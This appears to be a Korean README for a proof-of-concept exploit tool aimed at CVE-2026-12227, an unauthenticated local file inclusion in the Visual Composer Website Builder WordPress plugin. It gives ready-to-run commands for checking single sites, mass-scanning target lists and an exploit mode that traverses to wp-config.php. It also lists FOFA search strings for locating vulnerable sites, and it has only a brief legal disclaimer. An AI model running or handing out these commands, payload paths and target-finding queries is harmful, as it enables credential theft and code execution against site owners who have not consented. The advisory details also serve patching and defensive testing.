CVE-2026-12227 — Visual Composer Website Builder 인증되지 않은 LFI
CVE-2026-12227 (Wordfence)에 대한 Python 3 PoC: Visual Composer Website Builder(wordpress.org의 visualcomposer)의 vcv-template 쿼리 파라미터를 통한 로컬 파일 포함(Local File Inclusion).
| |
|---|
| 플랫폼 | WordPress 플러그인 |
| 구성 요소 | Visual Composer Website Builder |
| 영향 받는 버전 | ≤ 45.16.0 |
| 수정된 버전 | > 45.16.0 (WP Trac 3619572) — 최신 안정 버전 사용 (예: 45.16.3+) |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 인증 | 인증 불필요 |
| CWE | CWE-98 |
| 아님 | WPBakery (js_composer) 또는 SAP NetWeaver Visual Composer |
요약
취약한 버전에서는 공개 페이지 로드 시 PageTemplatesController 내부의 WordPress template_include 처리 중 공격자가 제어하는 vcv-template(**vcv-template-type**과 함께)이 적용됩니다. 이를 통해 공격자가 선택한 디스크 상의 파일을 포함할 수 있으며, PHP 파일은 실행될 수 있습니다(RCE). Wordfence는 일부 환경에서 업로드된 "안전한" 확장자와의 연계 가능성을 언급합니다.
공격 표면
- 플러그인이 설치되어 있고 VC로 제작된 프론트엔드 페이지가 필요합니다(일반 퍼머링크).
- 프로브는 쿼리 파라미터를 추가합니다. 예:
?vcv-template-type=vc&vcv-template=blank 또는 vcv-template 하위의 LFI 경로.
- 관련 파라미터:
vcv-template-type, vcv-template-stretched.
요구 사항
pip install -r requirements.txt
Python 3.8+.
사용법
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
출력
| 파일 | 의미 |
|---|
cve_2026_12227_results.jsonl | 대상별 전체 JSON |
hits.txt |
상태 값
FOFA 힌트
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
기술 노트
- 코드 경로:
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).
- Check는 파라미터 제어 또는 LFI 마커를
exploitable_candidate로 처리합니다. RCE로 단정하기 전에 스테이징 클론에서 확인하십시오.
- 프리미엄 TemplateFilter / 테마 빌더 애드온은 일부 사이트에서 도달 가능한 경로를 넓힐 수 있습니다.
법적 고지
본인이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.